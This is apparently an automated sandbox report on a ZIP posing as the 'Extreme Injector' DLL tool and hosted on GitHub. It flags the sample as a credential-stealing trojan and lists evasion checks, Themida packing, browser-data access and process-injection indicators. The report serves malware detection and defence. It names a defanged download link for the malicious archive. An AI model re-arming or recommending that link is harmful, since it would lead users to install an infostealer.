hxxps://github[.]com/jellobean/Extreme-Injector-v3[.]7[.]3-Desktop/releases/download/DLL-INJECTOR/ExtremeInjector[.]zip

Analysis

user interaction
yes
max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/05/2026, 16:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://github.com/jellobean/Extreme-Injector-v3.7.3-Desktop/releases/download/DLL-INJECTOR/ExtremeInjector.zip
Sample260502-tx24csb171

Score

9^/10

defense_evasion discovery spyware stealer themida trojan

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	0048f9440a2fddd7.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	0048f9440a2fddd7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	0048f9440a2fddd7.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\Control Panel\International\Geo\Nation	kajuluCore.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\Control Panel\International\Geo\Nation	kajuluCore.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\Control Panel\International\Geo\Nation	kajuluCore.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\Control Panel\International\Geo\Nation	kajuluCore.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\Control Panel\International\Geo\Nation	kajuluCore.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\Control Panel\International\Geo\Nation	kajuluCore.exe

Executes dropped EXE 13 IoCs

pid	Process
6012	kajuluCore.exe
5364	kajuluCore.exe
2528	kajuluCore.exe
1728	kajuluCore.exe
4756	0048f9440a2fddd7.exe
2320	kajuluCore.exe
1792	kajuluCore.exe
4524	kajuluCore.exe
5440	kajuluCore.exe
3660	kajuluCore.exe
3784	kajuluCore.exe
2144	kajuluCore.exe
3924	kajuluCore.exe

Loads dropped DLL 37 IoCs

pid	Process
864	ExtremeInjector.exe
864	ExtremeInjector.exe
864	ExtremeInjector.exe
6012	kajuluCore.exe
5364	kajuluCore.exe
5364	kajuluCore.exe
5364	kajuluCore.exe
5364	kajuluCore.exe
5364	kajuluCore.exe
5364	kajuluCore.exe
2528	kajuluCore.exe
1728	kajuluCore.exe
1420	ExtremeInjector.exe
1420	ExtremeInjector.exe
1420	ExtremeInjector.exe
2320	kajuluCore.exe
1792	kajuluCore.exe
1792	kajuluCore.exe
1792	kajuluCore.exe
1792	kajuluCore.exe
1792	kajuluCore.exe
1792	kajuluCore.exe
4524	kajuluCore.exe
5440	kajuluCore.exe
4360	ExtremeInjector.exe
4360	ExtremeInjector.exe
4700	msedge.exe
4360	ExtremeInjector.exe
3660	kajuluCore.exe
3784	kajuluCore.exe
3784	kajuluCore.exe
3784	kajuluCore.exe
3784	kajuluCore.exe
3784	kajuluCore.exe
3784	kajuluCore.exe
2144	kajuluCore.exe
3924	kajuluCore.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x000500000001e766-1199.dat	themida
behavioral1/memory/4756-1201-0x0000000140000000-0x000000014078D000-memory.dmp	themida
behavioral1/memory/4756-1414-0x0000000140000000-0x000000014078D000-memory.dmp	themida
behavioral1/memory/4756-2273-0x0000000140000000-0x000000014078D000-memory.dmp	themida

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	0048f9440a2fddd7.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4756	0048f9440a2fddd7.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\ru\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\en_CA\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1845221032\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\eu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\sq\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\or\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\mn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1843328001\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\es_419\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\vi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\de\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1843328001\autofill_bypass_cache_forms.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\hr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\cs\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\lv\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\ko\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\pl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\ur\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\km\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\af\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\da\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\ar\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\az\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\tr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\offscreendocument_main.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1597831642\domain_actions.dll	msedge.exe
File created	C:\Program Files\msedge_url_fetcher_4700_1214245044\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\hi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\no\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\en\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\hy\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\gl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\te\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\is\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\zu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\sw\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\fi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\et\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\mk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\lo\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\fil\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\el\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\as\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\lt\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\cy\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\sl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\en_US\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\ms\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\gu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\ka\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\en_GB\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\th\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\es\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\be\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\id\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\mr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\sv\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4700_1219719635\_locales\sr\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExtremeInjector.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExtremeInjector.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExtremeInjector.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4740	msedge.exe

Checks processor information in registry 2 TTPs 64 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	kajuluCore.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	kajuluCore.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	kajuluCore.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	kajuluCore.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	kajuluCore.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	kajuluCore.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	kajuluCore.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	kajuluCore.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	kajuluCore.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	kajuluCore.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	kajuluCore.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	kajuluCore.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	kajuluCore.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	kajuluCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	kajuluCore.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	kajuluCore.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	kajuluCore.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3384	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134222128452855666"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1609746302-1884177235-1125644204-1000\{A0D59328-A01B-4723-AAE6-C8BDF8AE2C37}	msedge.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 27 IoCs

pid	Process
5676	powershell.exe
5676	powershell.exe
5676	powershell.exe
2524	powershell.exe
2524	powershell.exe
2524	powershell.exe
1864	powershell.exe
1864	powershell.exe
1864	powershell.exe
4756	0048f9440a2fddd7.exe
4756	0048f9440a2fddd7.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
4680	powershell.exe
4680	powershell.exe
4680	powershell.exe
4756	0048f9440a2fddd7.exe
4756	0048f9440a2fddd7.exe
5968	msedge.exe
5968	msedge.exe
1056	powershell.exe
1056	powershell.exe
1056	powershell.exe
3860	powershell.exe
3860	powershell.exe
3860	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	864	ExtremeInjector.exe
Token: SeShutdownPrivilege	6012	kajuluCore.exe
Token: SeCreatePagefilePrivilege	6012	kajuluCore.exe
Token: SeDebugPrivilege	5676	powershell.exe
Token: SeIncreaseQuotaPrivilege	5676	powershell.exe
Token: SeSecurityPrivilege	5676	powershell.exe
Token: SeTakeOwnershipPrivilege	5676	powershell.exe
Token: SeLoadDriverPrivilege	5676	powershell.exe
Token: SeSystemProfilePrivilege	5676	powershell.exe
Token: SeSystemtimePrivilege	5676	powershell.exe
Token: SeProfSingleProcessPrivilege	5676	powershell.exe
Token: SeIncBasePriorityPrivilege	5676	powershell.exe
Token: SeCreatePagefilePrivilege	5676	powershell.exe
Token: SeBackupPrivilege	5676	powershell.exe
Token: SeRestorePrivilege	5676	powershell.exe
Token: SeShutdownPrivilege	5676	powershell.exe
Token: SeDebugPrivilege	5676	powershell.exe
Token: SeSystemEnvironmentPrivilege	5676	powershell.exe
Token: SeRemoteShutdownPrivilege	5676	powershell.exe
Token: SeUndockPrivilege	5676	powershell.exe
Token: SeManageVolumePrivilege	5676	powershell.exe
Token: 33	5676	powershell.exe
Token: 34	5676	powershell.exe
Token: 35	5676	powershell.exe
Token: 36	5676	powershell.exe
Token: SeDebugPrivilege	2524	powershell.exe
Token: SeIncreaseQuotaPrivilege	2524	powershell.exe
Token: SeSecurityPrivilege	2524	powershell.exe
Token: SeTakeOwnershipPrivilege	2524	powershell.exe
Token: SeLoadDriverPrivilege	2524	powershell.exe
Token: SeSystemProfilePrivilege	2524	powershell.exe
Token: SeSystemtimePrivilege	2524	powershell.exe
Token: SeProfSingleProcessPrivilege	2524	powershell.exe
Token: SeIncBasePriorityPrivilege	2524	powershell.exe
Token: SeCreatePagefilePrivilege	2524	powershell.exe
Token: SeBackupPrivilege	2524	powershell.exe
Token: SeRestorePrivilege	2524	powershell.exe
Token: SeShutdownPrivilege	2524	powershell.exe
Token: SeDebugPrivilege	2524	powershell.exe
Token: SeSystemEnvironmentPrivilege	2524	powershell.exe
Token: SeRemoteShutdownPrivilege	2524	powershell.exe
Token: SeUndockPrivilege	2524	powershell.exe
Token: SeManageVolumePrivilege	2524	powershell.exe
Token: 33	2524	powershell.exe
Token: 34	2524	powershell.exe
Token: 35	2524	powershell.exe
Token: 36	2524	powershell.exe
Token: SeShutdownPrivilege	6012	kajuluCore.exe
Token: SeCreatePagefilePrivilege	6012	kajuluCore.exe
Token: SeShutdownPrivilege	6012	kajuluCore.exe
Token: SeCreatePagefilePrivilege	6012	kajuluCore.exe
Token: SeShutdownPrivilege	6012	kajuluCore.exe
Token: SeCreatePagefilePrivilege	6012	kajuluCore.exe
Token: SeShutdownPrivilege	6012	kajuluCore.exe
Token: SeCreatePagefilePrivilege	6012	kajuluCore.exe
Token: SeShutdownPrivilege	6012	kajuluCore.exe
Token: SeCreatePagefilePrivilege	6012	kajuluCore.exe
Token: SeShutdownPrivilege	6012	kajuluCore.exe
Token: SeCreatePagefilePrivilege	6012	kajuluCore.exe
Token: SeShutdownPrivilege	6012	kajuluCore.exe
Token: SeCreatePagefilePrivilege	6012	kajuluCore.exe
Token: SeShutdownPrivilege	6012	kajuluCore.exe
Token: SeCreatePagefilePrivilege	6012	kajuluCore.exe
Token: SeShutdownPrivilege	6012	kajuluCore.exe

Suspicious use of FindShellTrayWindow 42 IoCs

pid	Process
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe
4700	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4700 wrote to memory of 4256	4700	msedge.exe	85
PID 4700 wrote to memory of 4740	4700	msedge.exe	86
PID 4700 wrote to memory of 4792	4700	msedge.exe	87
PID 4700 wrote to memory of 4792	4700	msedge.exe	87
PID 4700 wrote to memory of 4792	4700	msedge.exe	87
PID 4700 wrote to memory of 3808	4700	msedge.exe	88
PID 4700 wrote to memory of 3808	4700	msedge.exe	88
PID 4700 wrote to memory of 3240	4700	msedge.exe	90
PID 4700 wrote to memory of 3240	4700	msedge.exe	90
PID 4700 wrote to memory of 3240	4700	msedge.exe	90
PID 4700 wrote to memory of 5352	4700	msedge.exe	91
PID 4700 wrote to memory of 5352	4700	msedge.exe	91
PID 4700 wrote to memory of 5352	4700	msedge.exe	91
PID 4700 wrote to memory of 4972	4700	msedge.exe	94
PID 4700 wrote to memory of 4284	4700	msedge.exe	95
PID 4700 wrote to memory of 4972	4700	msedge.exe	94
PID 4700 wrote to memory of 4284	4700	msedge.exe	95
PID 4700 wrote to memory of 4984	4700	msedge.exe	96
PID 4700 wrote to memory of 4984	4700	msedge.exe	96
PID 4700 wrote to memory of 2508	4700	msedge.exe	97
PID 4700 wrote to memory of 2508	4700	msedge.exe	97
PID 4700 wrote to memory of 2508	4700	msedge.exe	97
PID 4700 wrote to memory of 3792	4700	msedge.exe	98
